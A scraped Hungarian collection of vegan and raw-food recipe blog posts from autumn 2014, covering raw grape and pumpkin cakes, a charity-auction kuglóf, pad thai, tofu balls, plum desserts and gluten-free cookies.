Munkahelyi vacsora volt a héten, oda készítettem el ezt a finomságot. Nyers sütit terveztem mindenképp, mert az ott összejött emberek között van, aki nyersen táplálkozik. Másrészt pedig tudom, hogy többekben nyitottság él az egészséges és nyers édességek iránt. Hát, elfogyott mind, nagy örömömre, pedig egy jó nagy tepsivel készítettem. Szerintem, ha tortaformába tesszük ezt a mennyiséget, egy szép nagy tortát kapunk belőle. Szőlőszezon ideje van, készítsük el bátran, nem nehéz, csak egy jó turmixgép kell hozzá! :) (No meg az összetevők...)
A recept:
Hozzávalók:
oolajos magvak
o (legalább) 30 dkg otelló szőlő
omazsola
oútifű maghéj
o12 dkg kókuszreszelék
ovíz
oméz/banán
okókuszzsír
okakaópor vagy karobpor
odatolya
o folpack
Elkészítés:
Az alap: az olajos magvakat jó alaposan megdaráljuk. (Lenmagot, diót használtam leginkább, valamint okosmag őrleményként némi homoktövis és piros szőlő mag őrleményt, de bármi más olajos magot használhatunk, a lényeg, hogy lisztszerű állagra őröljük. A datolyát felaprítjuk, meleg vízbe beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. Ezt hozzákeverjük az olajos mag őrleményhez. Egy kevés vizet adunk még hozzá, majd előveszünk egy tortaformát vagy egy tepsit és folpackkal kibéleljük. Ezután az aljába nyomkodjuk a nyers tésztát. Hűtőbe tesszük.
Szőlős krém: Kb. 10 dkg mazsolát meleg vízbe áztatunk, közben a szőlőt alaposan megmossuk, majd a turmixgép poharába szemezzük. A megpuhult mazsolát is hozzáadjuk. Összeturmixoljuk. Ha nagyobb teljesítményű gépünk van, nem kell vizet tenni hozzá. A szőlőlevet egy szűrőn átszűrjük, így a szőlő és mazsolamagok, a szőlő héja nem kerül bele a süteménybe. Az átszűrt szőlőléhez mennyiségtől függően 2-3, esetleg 4 evőkanál útifű-maghéjat keverünk. Ettől lesz, habos-zselés állaga.
Kókuszos krém: A kókuszreszelékeket felöntjük annyi vízzel, hogy épp ellepje. Kicsit átforgatjuk kanállal. Mikor ázott egy rövid időt, a turmixgépbe tesszük. Attól függően, hogy banánnal vagy mézzel édesítjük, azt is teszünk hozzá (banánt felkarikázva). Indulhat a turmixolás. (Ezt nehezebben viszi valamivel a turmixgép.) Amikor láthatóan összeturmixolódott, ehhez is adunk kb. 2 evőkanálnyi útifű maghéjat. Szintén zselés, habos állagot ad neki.
Ha a szőlős krémünk zselés lett, elsimítjuk a sütemény alapján, majd rásimítjuk a szőlős habot. A tetejére pedig a következőképpen készítjük el a csokimázat : Folyékony kókuszzsírt kikeverünk karob vagy kakaóporral, mézet és/vagy biocsicsóka sűrítményt keverünk hozzá. Ezt a szőlős réteg tetejére simítjuk. Érdemes ezt követően rögtön felszeletelni és utána hűtőbe tenni, hogy dermedjen egy-két órán keresztül.
Szuper reggeli: Nyers hajdinakása pirított mandulával és kókuszreszelékkel
2014. szeptember 23. Zizi kalandjai
Egy újabb szuper reggeli, amit már nagyon régóta ki akartam próbálni. A nyers hajdinakása nagy népszerűségnek örvend mostanában, sok blogon felbukkan az interneten (jó ez a diós változat, de igazából nagyon sokmindennel lehet ízesíteni).
Amit a hajdináról tudni érdemes… gabonaként van számon tartva, de valójában a keserűfűfélék családjába tartozik. A hajdina igen értékes vitaminforrás, mivel a B-vitamincsoport majdnem minden tagját tartalmazza. E-vitamin, B2-vitamin és B1-vitamin tartalma nagyon jelentős. Kiemelkedően magas élelmirost-tartalma. Nekem az íze a dióra hasonlít és eddig csak főzve fogyasztottam köretként és lisztként használtam fel süteményekhez.
Arra készülni kell, hogy a hajdinából készült kása nyers volta miatt – hiába ásztatjuk egy éjszakán át – enyhén roppanós, noha pépesre van turmixolva. Juharsziruppal, mézzel, agavé sziruppal is jó édesíteni, de mi Ádi miatt banánt tettünk bele, így még krémesebbé vált az állaga, de ne olyanra számítsatok, mint a zabkásánál… talán nem mondható annyira puhának, viszont az íze nekem nagyon megtetszett.
A recept az Oh She Glows szakácskönyvből van, amiről már írtam korábban. Minimálisat változtattam rajta.
Nyers hajdinakása pirított mandulával és kókuszreszelékkel
Hozzávalók 2,5 főre (2 felnőtt, 1 baba):
- 1 és 1/2 bögre hajdina
- 3/4 bögre mandula- vagy rizstej
- 1 és 1/2 evőkanál chia mag
- 2-3 banán, meghámozva (vagy 3 evőkanál juharszirup)
- 1/2 teáskanál őrölt fahéj
- 3 evőkanál mandulavaj (opcionális)
- 1 vaníliarúd, kimagozva
- pirított mandula vagy mogyoró vagy dió és kókuszreszelék, tálaláshoz
A hajdinát mossuk meg és tegyük egy tálba, öntsük fel annyi vízzel, amennyi ellepi és hagyjuk egy éjszakán át ázni (vagy minimum egy órán át áztassuk). Áztatás után szűrjük le, mossuk át és tegyük a hajdinát a robotgépbe. Adjuk hozzá a mandulatejet, a chia magot, a vaníliát, a fahéjat, a mandulavajat és a banánt. Pürésítsük simára kb. 5-8 perc alatt.
Kanalazzuk az elkészült kását tálkákba, szórjuk meg pirított mandulával és kókuszreszelékkel.
Tipp : Ádinak bejött a nyers hajdinakása, ugyanúgy megette, mint mi! Neki viszont csak kókuszreszelékkel szórtam meg a tetejét, ő pirított mandulát nem kapott.
Banán bonbon
Vendégváró falatkák lehetnek ezek az élő, édes, egészséges finomságok ;) Hozzávalók személyenként: 1 banán 1 kanál Holland kakaópor 1 kanál fahéj-2 kanál puffasztott amaránt (összekeverjük) 1 kanál bio kókuszreszelék A banánt felkarikázzuk,vízbe mártjuk, majd irány a kakaófürdő ;) A következő karika ugorhat a fahéjas amarántos tányérkába, a harmadik pedig a kókuszosba;) Már csak szép sorba […]
Nyers töktorta
2014. szeptember 17. Szelíd életmódváltók
Vigyázat, ez most egy tökös bejegyzés lesz. És nyers.
Ősz van és nehéz nem észrevenni az őszi sárgát. Ott van a fákon, ott hever a földön, ott van mindenütt. De a legkoncentráltabban a tökben van ott. Tényleg, mikor néztél meg utoljára alaposan egy sütőtököt? Kívül, belül…most itt egy ok, hogy tököljél egyet, avagy készítsd NYERS TÖKTORTÁT.
Hozzávalók:
alap
3-4 aszalt függe
3-4 aszalt szilva
lenmag – fele őrölve, fele egyben
kóskuszreszelék
————
krém
egy kisebb tök
1 banán
2 ek méz
fél pohár kókusztej
2 ek kókusz olaj
1,5 ek utifű maghéj
csipetnyi fahéj
Elkészítés
Alap:megmosott aszalt szilvát és fügét áztassuk be legalább pár órára, de még jobb, ha előrelátóak vagyunk, és előző nap beáztatjuk. Ha ez megvan, turmixoljuk össze az áztatólével, míg nem kapunk egy gyönyörű bordó-barna illatos masszát. Ebbe keverjük bele tetszőleges arányban a lenmagot és kókuszreszeléket. Minél nagyobb arányban van lenmag, annál erőteljesebb ízű lesz. Lágyítani az állagon úgy lehet, hogy a lenmag és kókuszreszelék egy részét ledarálunk. Annyi szárazanyagot keverjük bele, hogy szilárd, formálható legyen a massza, de azért nem teljesen száraz. A kész alapmasszát kenjünk szét a csatos tortasütő aljában és kb. 1 cm magas szélet is formálhatunk.
Krém: A lehámozott tököt darabokra vágjuk és kókusztejjel, banánnal, mézzel és fahéjjal turmixoljuk össze. A kókusztejet apránként adagoljuk, figyeljük, hogy ne legyen túl híg, de ne is prüszköljön a gép az erőlködéstől.
Ha kész az illatos és töksárga massza, keverjünk bele meleg vízfürdőben megolvasztott kókuszolajat (most már őszi hőmérséklet van, nem marad meg folyékonyan még a konyhában sem) és útifű maghéjat. Öntsük bele a masszát a tortaformába az előkészített alapra és tegyünk be legalább 3-4 órára a hűtőbe. Akkor az igazi, ha egész éjszakára ott hagyjuk, hogy összeérjen és megdermedjen.
Tökös napot mindenkinek!
Szeretettel és akcentussal,
Rita Bakradze,
Senior komfortzóna tágító
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = //connect.facebook.net/hu_HU/all.js#xfbml=1;
fjs.parentNode.insertBefore(js, fjs);
}(document, script, facebook-jssdk));
Vegán kókuszos kuglóf csokoládé ganache-sal + Segítsüti 2014. ősz
2014. szeptember 15. Zizi kalandjai
Augusztus elején kaptam az emailt Évától, hogy lenne-e kedvem részt venni az idei őszi Segítsüti jótékony akcióban. Titkon reméltem, hogy egy nap majd kapok egy ilyen felkérő emailt, szóval örömmel mondtam igent a részvételre.
A Segítsüti története 2009-ben indult, az első, gasztrobloggerek civil összefogásával született jótékonysági süteményárveréssel. Mostanra kinőtte magát, így évente kétszer kerül már megszervezésre, tavasszal és ősszel. A mostani, 11. alkalommal a Segítsüti támogatottjai a Leukémiás Gyermekekért Alapítványon keresztül a kelet-magyarországi leukémiás megbetegedésben szenvedő gyermekek lesznek.
Röviden a részletek (hosszabban pedig itt)…
1) Kik? Ismét 30 gasztroblogger anyuka/apuka készül 30 édességgel, az akció adminisztrációját – beszerzések, pénzügyi elszámolás – pedig szokás szerint a Sose Közhasznú Alapítvány intézi.
2) Mikor? A sütilicit 2014. szeptember 15-én, hétfőn indul, azaz ma fognak megjelenni a sütis bejegyzések az egyes blogokon, és kerülnek fel majd egyidejűleg a licitálós menü alá. Ezután kezdődhet rájuk rögtön a licitálás, amely három napon át zajlik és 2014. szeptember 18-án, csütörtökön 16:00-kor zárul.
3) Kit támogatunk? A befolyt támogatási összegből most a Leukémiás Gyermekekért Alapítványt és rajtuk keresztül a daganatos és vérképzőszervi megbetegedésben szenvedő gyermekek orvosi ellátását, gyógyulását támogatjuk.
4) Hogyan? Minden tepsi sütemény kikiáltási ára továbbra is 1.000 forint lesz. A liciteket a Sütiárverés menüpont alatt lehet majd megtenni, ehhez pedig egy egyszerű regisztráció (név, e-mail cím) szükséges. A nyertes az lesz, aki a legmagasabb összeget ajánlja adott süteményért szeptember 18-án 16:00-ig.
Én erre az őszi eseményre egy vegán kókuszos kuglóffal készültem, amibe csempésztem egy kis kardamomot, majd leöntöttem az egészet vegán csokoládé ganache-sal. Jól hangzik, ugye? És én már tudom is, hogy mennyire finom! Aki megteheti, licitáljon a kuglófomra, mert a nyertes licitáló nagyon jól fog járni ezzel a finom sütivel! Fontos infó a nyertes számára, hogy a kuglóf személyesen vehető majd át Budapesten. Hajrá licitálók!
Vegán kókuszos kuglóf csokoládé ganache-sal
Hozzávalók:
A kuglófhoz:
- 400 g finomliszt, szitálva
- 100 g teljeskiörlésű liszt, szitálva
- 120 g kókuszvirág cukor + 1 teáskanál (nádcukorral helyettesíthető)
- 30 g kókuszreszelék
- 30 g puha kókuszzsír
- 250 ml kókusztej (kókuszos rizstejjel helyettesíthető) + amennyit a tészta felvesz (kb. 150-200 ml)
- 1/2 teáskanál kardamom
- 1 csomag (7 g) szárított élesztő
- csipet só
A ganache-hoz:
- 20 g kakaópor/karobpor, szitálva
- 1 evőkanál mandulavaj
- 50-60 ml juharszirup
- 40 g kókuszzsír
- csipet só
Egy tálban keverjük össze: liszteket, kókuszreszeléket, kókuszvirág cukrot, sót és kókuszzsírt. Langyosítsuk meg a kókusztejet, adjuk hozzá az élesztőt és 1 teáskanál cukrot, hagyjuk felfutni néhány perc alatt, majd öntsük a lisztes keverékhez. Keverjük össze a tésztát, majd kézzel dagasszuk át és közben adagoljunk hozzá annyi kókusztejet, amennyit a tészta felvesz (ez kb. 150-200 ml lesz a növényi tej fajtájától függően). Az összegyúrt tésztát a tálban hagyva, fedjük le konyharuhával és hagyjuk meleg helyen duplájára kelni (ez kb. 1 óra).
A megkelt tésztát borítsuk lisztezett deszkára és gyúrjuk át. Formázzunk rudat belőle, gyengéden csavarjuk meg és tegyük bele a puha kókuszzsírral kikent kuglóf formába (a végeket szorosan összecsipkedjük).
A formában újból pihentetjük 30 percet, majd 170 fokra előmelegített sütőben kb. 40 perc alatt aranybarnára sütjük. Tűpróbával ellenőrizzük, hogy átsült-e! Hagyjuk a formában kihűlni.
A ganache-hoz egy lábasban melegítsük át a juharszirupot, a kókuszolajjal, a mandulavajjal és a kakaóval. A tűzhelyről levéve adjuk hozzá a csipet sót. A langyosra hűlt ganache-sal locsoljuk meg a kihűlt kuglófot.
Pad Thai pirított tofuval
2014. szeptember 11. Gréta konyhája
A Pad Thai, ahogy neve is mutatja, a thai konyha egyik talán legnépszerűbb alkotása, és számomra az egyik legfinomabb gyorsétel, amit az ember ehet, a gyümölcs, és a sushi után :)) Amint beköszöntött a szeptember, és megéltünk pár hűvösebb napot, a szervezetem egyből jelezte, hogy bizony mostantól melengető ételekre van szükségem, melengető fűszerekkel. A Pad Thai, thai sült tésztát jelent, amit ezerféleképpen variálhatunk. Ebben a verzióban minden benne van, amit az ázsiai ételekben szeretek, mert wokból jön, tészta van benne de gluténmentes, zöldségeket, és mogyorót is tartalmaz, szóval egy gasztrohedonistának, mint amilyen én vagyok, ez bizony maga a Mennyország. A Tündérkonyhában minden héten lesz valami ázsiai, étel a kedvenceim közül, szóval érdemes az oldalamat frissíteni a napi menük érdekében . Hozzávalók: 200g rizstészta 2 ek mogyoróvaj 4 ek teryaki szósz, vagy sima szójaszósz, tamari 1 ek sűrített paradicsom 1 ek vörös vagy zöld tha curry pasta 1 marék pirított földimogyoró 300g füstölt tofu 5-6 gerezd fokhagyma kedvenc idényzöldségek (pritamin paprika, lilahagyma, répa, zeller, brokkoli stb) 1 csokor friss koriander mogyoró olaj, vagy bármilyen ázsiai wok olaj,(kókuszolaj is megfelel) ujjnyi chili, ha valaki csípősen szereti 1. Az üvegtésztát leforrázzuk, majd 5 perc után leszűrjük, hideg vízzel átöblítjük, félretesszük. 2. A wokban felhevítjük az olajat, majd beletesszük a csíkokra, vagy kockákra vágott tofut, pár percig pirítjuk, majd felöntjük a teryaki szósszal. Addig pirítjuk, míg a szójaszószt a tofu felszívja, és ropogós, kérges lesz. Félretesszük. 3. A wokban kevés olajat hevítünk, majd beletesszük a curry pastát, a mogyoróvajat és a sűrített paradicsomot, szójaszószt. Ha krémes szósz lesz belőle, beletesszük az aprított fokhagymát, 1 percig pirítjuk, majd jönnek a zöldségek. Átforgatjuk kb 5 percen keresztül rázogatva, míg a zöldségek kissé megpuhulnak, de még roppanósak maradnak. 4. Hozzáadjuk a tésztát, átforgatjuk, majd a sült tofut is. 5. Tálaláskor megszórjuk pirított mogyoróval, és aprított koriander levelekkel. Jó étvágyat!
Snidlinges tofu fasírt golyók, zöldséges krumplipürével
2014. szeptember 9. Zöld Avocado
Ezek az ál fasírtgolyók mennyeiek! Olyan, mintha húsból lennének, de annál sokkal könnyebbek, puhábbak, egészségesebbek, és ízletesebbek! :-) snidlinges tofu fasírt, zöldséges krumplipürével Hozzávalók: kb.45 db 3 cm átmérőjű tofu golyóhoz 1000 g tofu (GMO mentes) 1 fej lila hagyma 3 gerezd fokhagyma 2 szál közepes sárgarépa 1/2 bögre kukoricaliszt, vagy rizsliszt 1 ek őrölt lenmag beáztatva vízbe (tojás helyett) 1 marék friss petrezselyem mustár, Himalája só, fehér bors, édesnemes pirospaprika 2 szál snidling a zöld résszel együtt 1/2 bögre tökmag és szotyi keverék 1/2 bögre darált dió (nem cukrozott, és nem dejó) (1 ek útifűmaghéj) (1 ek sörélesztő por) kevés zsemlemorzsa, amibe beleforgatjuk majd a golyókat kisütés előtt Zöldséges krumplipüréhez: 1 kg krumplipürének való burgonya 2 szál közepes sárgarépa 1 kisebb cukkini Fokhagymás kukorica salátához: 1 nagy organikus/bio tejföl (500 ml) 2 gerezd fokhagyma Himalája só, frissen őrölt fekete bors 1 bio kukorica konzerv (cukormentes) 1 szál snidling (2 marék bab csíra) Elkészítés: fokhagymás kukorica saláta - jobb sarokban a képen Kezdjük a salátával, mert annak jó, ha áll a hűtőben egy kicsit, hogy az ízek összeérjenek. Balázs imádja a tejfölös kukorica salátát, így gyakran kerül az asztalra fasírtok mellé. Manapság próbálom ezt is a lehető legreformosabb formában elkészítni. Ez egy roppant egyszerű saláta! :-) A nagy tejfölt (vagy natúr organikus joghurtot, görög joghurtot) beleöntjük egy mélyebb tálba. Hozzáadjuk ízlés szerint a fűszereket, a kukorica konzervet, az apróra vágott snidlinget, és fokhagymanyomóval a 2 gerezd fokhagymát (ha valaki szereti a vámpírokat üldözni, tehet bele többet is). Ha van otthon, akkor 2 marék babcsírával tehetjük értékesebbé ezt az egyszerű salátát. színes, zöldséges krumplipüré A krumplipürét azt hiszem nem kell senkinek bemutatnom. Készítsük el a hagyományos módon, a kívánt mennyiségben, ahogy azt korábban szoktuk. Miután elkészült a számunkra tökéletes püré, cifrázzuk egy kicsit, és csempésszünk bele életet! ;-) Pucoljunk meg 2 közepes sárgarépát, mossunk meg egy kisebb cukkinit, és mindkét (mindhárom) zöldséget reszeljük le a nagy lukú reszelőn julienre. Keverjük a friss, élettel teli, nyers zöldségeket a krumplipürével, és ezzel el is készült az üde burgonya köret. És akkor nézzük a tofu fasírtokat, amik szintén egyszerűen elkészíthetőek, és csak a kisütögetés vesz igénybe néhány percet, de nem annyit, mint egy húsos fasírt. Tegyük a hozzávalókat egy keverő tálba ilyen formán: - A napraforgómagot és diót daráljuk porrá a darálóban. - A tökmagot egészben tegyük bele. - A lilahagymát, fokhagymát és sárgarépát egy fél dl. vízzel turmixoljuk pépessé a turmix géppel. - A snidlinget/metélőhagymát karikázzuk fel kb. fél cm-es karikákra. - A tofut (a lé nélkül) morzsoljuk bele a tálba a kezünkkel. - Adjuk hozzá a lisztet, a fűszereket, az apróra vágott petrezselymet, és az előre beáztatott lenmagot. (A vízben áztatott lenmag, 1-2 óra elteltével kocsonyásodni kezd. A vega receptekben a tojás helyettesítőjeként, egyfajta kötőanyagként használatos. Érdemes néha ezt tenni az ételeinkbe a tojás helyett, mert a lenmag is rengeteg jótékony tulajdonsággal bír.) - ha van otthon, akkor mehet bele a sörélesztő és útifűmaghéj is, amik szintén javítanak a fasírt tápértékén. Persze ha még nem szereztük be ezeket a super táplálékokat, kihagyhatóak, bár a sörélesztő por különleges és finom ízt is kölcsönöz az ételeknek. (Ez a két super táplálék elég drága a bio boltokban, de olyan kis mennyiségben fogy, hogy nagyon sokáig elég, és akkor már hosszú távú befektetésnek számít. :-) ) nyers tofu golyókMiután a hozzávalók a megfelelő formában a keverőtálban landoltak, kézzel összegyúrjuk őket, míg egy nagyjából homogén anyagot kapunk. Ez lesz a fasírt alapanyaga, a mű hús. ;-) Közben egy magas falú serpenyőben, vagy lábasban olajat hevítünk, úgy, ahogyan azt a rántott hússal szoktuk. Jó lenne, ha ez az olaj, kókuszzsír lenne, vagy olíva olaj, de tudom, hogy mindkettő túl drága ahhoz, hogy kisütéshez "pazaroljuk" őket. Tehát maradhat a hagyományos napraforgó olaj, ha sajnáljuk a drágább zsiradékot. A forró olajba aztán a szokásos módon kisüthetjük a kb.3 cm átmérőjű golyócskákat. A keverőtálból kézzel golyókat formázunk, amiket meghempergetünk egy kis zsemlemorzsában, és aztán tesszük a forró olajba. Ha elég forró az olaj kb.10 perc alatt készre sülnek a vega fasírtok. Egy papírkéztörlővel bélelt tálba kiszedve, hagyjuk, hogy a felesleges zsiradék lecsöpögjön, és ne a gyomrunkat terheljük vele. tofu fasírt golyók A behűtött fokhagymás kukorica salátával, és színes krumplipürével tálalva teljes értékű, ízletes, és egészséges fogás tálalható. A húsevők is megnyalják mind a 10 ujjukat a puha és könnyed tofu golyócskák után! Próbáljátok ki! ;-) Megjegyzés: Készítsetek házi "zsemle"morzsát barna kenyérből pár perc alatt! Piritós sütőbe / toasterbe tegyünk bele pár szelet kenyeret, amit aztán ha elkészült, darálóban daráljunk porrá, és kész is a házi barna zsemlemorzsa. A nagypapám annó ezt réz mozsárban és sütőben készítette. A megmaradt kenyeret felkockázva betette egy tepsiben a sütőbe, és szárazra sütötte közepes hőmérsékleten. A kiszáradt és kihűlt kenyér kockákat mozsárba tette, és kézzel porrá zúzta. Akkoriban még jobb minőségű kenyerek készültek, így ezt a házi zsemlemorzsát el tudták tárolni hosszabb ideig. Ha ugyanazt ma megpróbálod, kb. 1 hét után zöld és kék színben pompázó új élet keletkezik az elrakott zsemlemorzsádon. :-) Ezért tanácsos csak mindig annyi házi kenyérmorzsát készíteni, amit azonnal felhasználsz. Megjegyzés2: Mi is az a tofu? Bővebben itt olvashatsz róla: tofu, avagy a szójasajt
Életmódváltás a konyha szekrényben: avagy milyen hozzávalókra lesz szükségem az egészségesebb élethez?
2014. szeptember 9. Zöld Avocado
Úgy érzem kell egy kis kiegészítés a receptekhez, úgy általában. :-) Tartok attól, hogy sokan megijednek majd a hosszú hozzávaló listáktól, vagy az ismeretlen super food-ok neveitől. Mivel ez egy nem hagyományos, húsos, magyar konyha recepteket tartalmazó gasztro blog, ezért az biztos, hogy az elején sok újdonságot fogtok olvasni, és olyan hozzávalókkal fogtok találkozni, ami nincs otthon a konyhátokban, sőt, azt sem tudjátok hol lehet őket beszerezni? ;-) desszert hozzávalók újratöltve Ne futamodjatok meg! Az egészséges ételek nem bonyolultak, csak egy kis életmód váltásra, szemlélet váltásra van hozzájuk szükség! Például mikor legközelebb a kedvenc hiper/szuper marketetekbe mentek vásárolni, nézzetek szét olyan polcokon és részlegeken is, ahol eddig még nem jártatok. Rengeteg érdekes és új étellel fogtok találkozni. Sokan azt hiszik, hogy az a rész a boltban, ahol a gluténmentes, és cukormentes termékek vannak, azok csak a beteg, ételallergiás emberek számára vásárolhatóak. :-) Tévedés! A gluténmentes, vagy cukormentes alapanyagok az egészséges emberek számára is egészségesek! ;-) Bátran vásároljatok cukormentes kekszeket, vagy gluténmentes tésztát a legközelebbi túrós csuszához! Nem kell megvárni, míg tényleg muszáj lesz ilyen termékeket fogyasztani. gesztenye szív Előzzük meg a betegségeket, és ne pedig kezeljük őket! A Világ rengeteg országában (főleg az ázsia országokban) nem az a jellemző, hogy megvárják az emberek, míg betegek lesznek, és aztán betegségek tüneteit gyógyszerekkel kezelik, hanem ellenkezőleg! Már előtte tesznek azért, hogy ne legyenek betegek! Megelőznek, és nem pedig tüneteket kezelnek! A testi betegségek megelőzésének pedig az egyik legfontosabb eszköze, a helyes táplálkozás! Olyan ételek elfogyasztása, amit a szervezetünk könnyedén megemészt, tele van ásványi anyagokkal, vitaminokkal, enzimekkel, hasznos baktériumokkal, könnyen felszívódó zsírokkal, szénhidráttal, és növényi fehérjével. Az ilyen ételektől energia dúsabb, mosolygósabb, könnyedebb életet élhetünk gyógyszerek fogyasztása nélkül, ideális testsúllyal! :-) Nem kell szigorú diétákat követni, vagy magunkat sanyargatni, csak lecserélni a már megszokott alapanyagokat, egészséges, 100%-ban hasznosítható, természetes alapanyagokra a konyhában. :-) diófélék És akkor a teljesség igény nélkül néhány hozzávaló, amivel biztosan találkozni fogsz a receptjeimben. Valószínűleg még nincs a konyha szekrényedben, de érdemes lenne beszerezni őket! ;-) - GMO (gén módosítás) mentes tofu - super food: kendermag, chia mag, goji bogyó, búzafű, - sörélesztő pehely, útifűmaghéj (Psylium Husk) - sós magok: napraforgómag, tökmag, fenyőmag, lenmag, szezámmag - diófélék: dió, brazil dió, pekán dió, mogyoró, kesu dió, mandula - aszalt gyümölcsök - kókusz zsír, extra szűz olíva olaj, szezám olaj - szódabikarbóna - Agave szirup, Demerara cukor, Xilit, kókusz reszelék - teljes kirölésű tönköly liszt, rizs liszt, mandula liszt, kukorica liszt - kókusz tej, rizs tej, mandula tej - rengeteg avokádó, cukkini és lila hagyma - csicseriborsó - gabonák: amaranth, quinoa, hajdina, köles, kuszkusz, bulgur, zab - friss cserepes bazsalikom és petrezselyem - Himalája só, egész fekete bors - lehetőleg organikus körülmények között termesztett zöldségek, gyümölcsök, tojások - stb. Qunioa (gabona) Ráadásul szépen lassan, ahogy átszokunk az olyan ételek fogyasztására, melyek nagy részét meg tudjuk emészteni, tudjuk hasznosítani, azaz "tüzelő anyagként szolgál", és nem pedig csak tömjük magunkba, és raktározzuk, mint a gyors kaják nagy részét; annál inkább észre fogjuk venni, hogy egyre kisebb mennyiség is elég, ahhoz, hogy jól lakjunk. Most pedig azt gondoljátok, hogy egy marék salátával éhesek maradtok, úgyhogy, amiket írok, az baromság. Igen,én is így gondoltam korábban, mikor még a marék saláta csak tányér dísz volt a rántott hús és krumpli mellett. :-) De ma már nem így gondolom, és ma már a testem sem így gondolja! Kezd el! Próbáld ki! Változtass, és beszélgessünk róla egy fél év múlva! ;-) aszalt gyümölcsök, diófélék Van jó pár konyhai gép, ami megkönnyítheti a munkánkat, és segíthet, hogy még természetesebb módon jussunk hozzá az alapanyagjainkhoz. Ezek nagy része még nekem sincs meg, de már rajt van a kívánság listámon! ;-) Ilyen konyhatündér például az aszaló gép, a kenyér sütő gép, a száraztészta készítő és a csíráztató gép. Ezek nélkül is lehet élni, és létezni egy vegetáriánus konyhában, de előbb utóbb érdemes beruházni rájuk. Ami viszont elengedhetetlen már a kezdetektől fogva: mák/kávé daráló, turmix gép, kézi tumix, vagy mindez egyben egy multifunkciós gépben a legjobb. Ez itt nem a reklám helye, de nekem ő a társam minden nap a konyhában, és teljes mértékben meg vagyok elégedve vele, és az ára is lenyűgőzően alacsony. Ez egy Andrew James multifunkciós készülék, ami darál, őröl, darabol, pépet készít, turmixol, gyümölcs levet présel, dzsúzt készít, és mindig minden percben a kezem alá dolgozik. :-) Az amazon-on már 30 euróért (közel 10ezer Ft) hozzá lehet jutni. Szerintem ez nem drága egy ilyen kis mindenttudóért. ;-) Nem túl nagy teljesítményű, de egy átlagos háziasszony konyhájában bőven elég, amire képes. Azt hiszem ennyi, amit így előljáróban érdemes tudni és beszerezni a receptek elkészítéséhez. Örömteli, és egészséges gasztro alkotást kívánok mindenkinek! Táplálkozz, ne csak étkezz! ;-)
Szilvás-almás pite
Úgy látszik itt az ősz, de ne szomorkodjuk! Ennek az évszaknak is megvan a maga szépsége. Lassan hullanak a levelek, feltölthetjük az éléskamránkat télire. A szilváról se feledkezzetek meg, hogy télen is készíthessetek ilyen vagy ehhez hasonló finomságot. :) Hozzávalók a tésztához: 2,5 bögre teljes kiőrlésű tönkölyliszt 1,5 bögre rétesliszt 1 csipet só 3 ek. kókuszzsír 1 bögre vaníliás rizstej a gyümölcsös feltéthez: kb. 15 szem érett szilva 2 közepes alma fahéj, őrölt vanília 3 ek. tápióka szirup fél citrom leve búzacsírapehely 1. Először előkészítjük a feltétet, hogy összeérjenek az ízek. A szilvákat és almákat megtisztítjuk, majd felkockázzuk. Megszórjuk fahéjjal, őrölt vaníliával és ráfacsarjuk a citromot. Végül pedig a tápióka sziruppal jól összekeverjük és félretesszük. 2. A tésztához elkeverjük a száraz hozzávalókat (lisztek, só), majd elmorzsoljuk a liszekkel a kókuszzsírt. Ha nincs otthon vaníliás rizstejük, természetesen használhatunk másmilyen növényi tejet is, csak ez esetben nem árt egy kevés őrölt vanília is a tésztába. 3. Hozzáadjuk a tésztához a rizstejet, majd összegyúrjuk a tésztát. Könnyen formázható lágy tésztát kell kapnunk. 4. Egy nagyobb és egy kisebb részre osztjuk. A nagyobb részből fogjuk a pite alját megformázni. Vékony, kerek tésztát nyújtunk belőle, amit beleteszünk a formába, peremet hagyva a pitének. 5. Megszorjuk búzacsírapehellyel, hogy elszívja a felesleges nedvességet. Rárakjuk a gyümölcsöket, a tetejét is megszórjuk búzacsírapehellyel, majd rácsot készítünk a piténknek a maradék tésztából. Kis darabokat tépünk, majd megsodorjuk őket, végül lelapogatjuk. 6. Előmelegített sütőben, 200 fokon kb. 25 perc alatt készre sütjük. (Légkeveréses funkció.) Ani Tisztán, tudatosan!
Csokis avokádókrémmel töltött szilva
2014. szeptember 2. Éltető ételek
Végre itt az ősz, itt a szilva ideje. Többféle-fajta kapható, nekem a stella és a besztercei a kedvenc. Ebből isteni finom lekvár készíthető, valamint aszalható is. No, de ebben a receptben frissen esszük a szilvát. És ez olyan egyszerű és gyors recept, hogy még egy gyerek is könnyűszerrel elkészíti. Finom és dekortaív vendágváró falatok. A szilva édes-savanykás hatása a kakaópor kesernyés ízével, hmmm... isteni finom. Ja, és az aszalt meggy "hab a tortán". Azt ne hagyjuk ki belőle. Hozzávalók: - édes, puha szilva - aszalt meggy Csokikrém: - 1 avokádó - 1-2 evőkanál kakaópor - 1-2 evőkanál kókuszvirág cukor vagy méz - 1-2 csepp narancsolaj Az elkészítésére kétféle módszert adok. A kép alapján szerintem mindenki el tudja készíteni. Az első lehetőség, amikor kettévágjuk a szilvát, majd a mag helyére teszünk egy aszalt meggyet. Erre nyomjuk a csokis krémet. A másik lehetőség, amikor tapat vágunk a szilvának, a másik végét pedig bevágjuk. Kinyomjuk a magot, és a helyére tesszük az aszalt meggyet. Óvatosan belenyomjuk a csokis krémet.
Gluténmentes és tojásmentes mogyorós keksz
2014. augusztus 31. Éltető ételek
Egyre inkább törekszem arra, hogy gluténmentes és vegán ételeket készítsek. Végülis nincs gluténérzékenységünk, de jobb kerülni. Ugyanakkor egy gluténmentes ételekben a kötőanyag minden esetben tojás. Ebben meg ez a bibi, hogy így meg a napi tojásfogyasztás szökik az egekbe. A gluténmentes sütikre jellemző a morzsálódás, nos, ezt is sikerült elkerülnöm. Ez a recept igazán ropogós, nem pereg szét a kézben, egyben marad. És nem utolsó sorban nagyon finom. Lehet baracklekvárral, vagy avokádós csokikrémmel is tölteni, de a nagylányom kedvence a nutellával való töltés. A konjak liszttel most ismerkedem, mely tulajdonsága, hogy nagyon jól sűrít és zselésít. A süti morzsálódása ellen is nagy segítségemre volt. Hozzávalók: - 10 dkg apró szemű zabpehely - 10 dkg zabliszt - 10 dkg teff vagy rizsliszt - 10 dkg mogyoróliszt - 10 dkg durvára tört, pirított mogyoró - 10 dkg kókuszvirág cukor vagy méz - csipet só - 1 evőkanál útifűmaghéj - 1 teáskanál konjak liszt - 1 teáskanál szódabikarbóna - 1 mokkáskanál vanília - 10 dkg kókuszzsír (vagy bio vaj) - kevés növényi tej (pl. mandula, rizs) 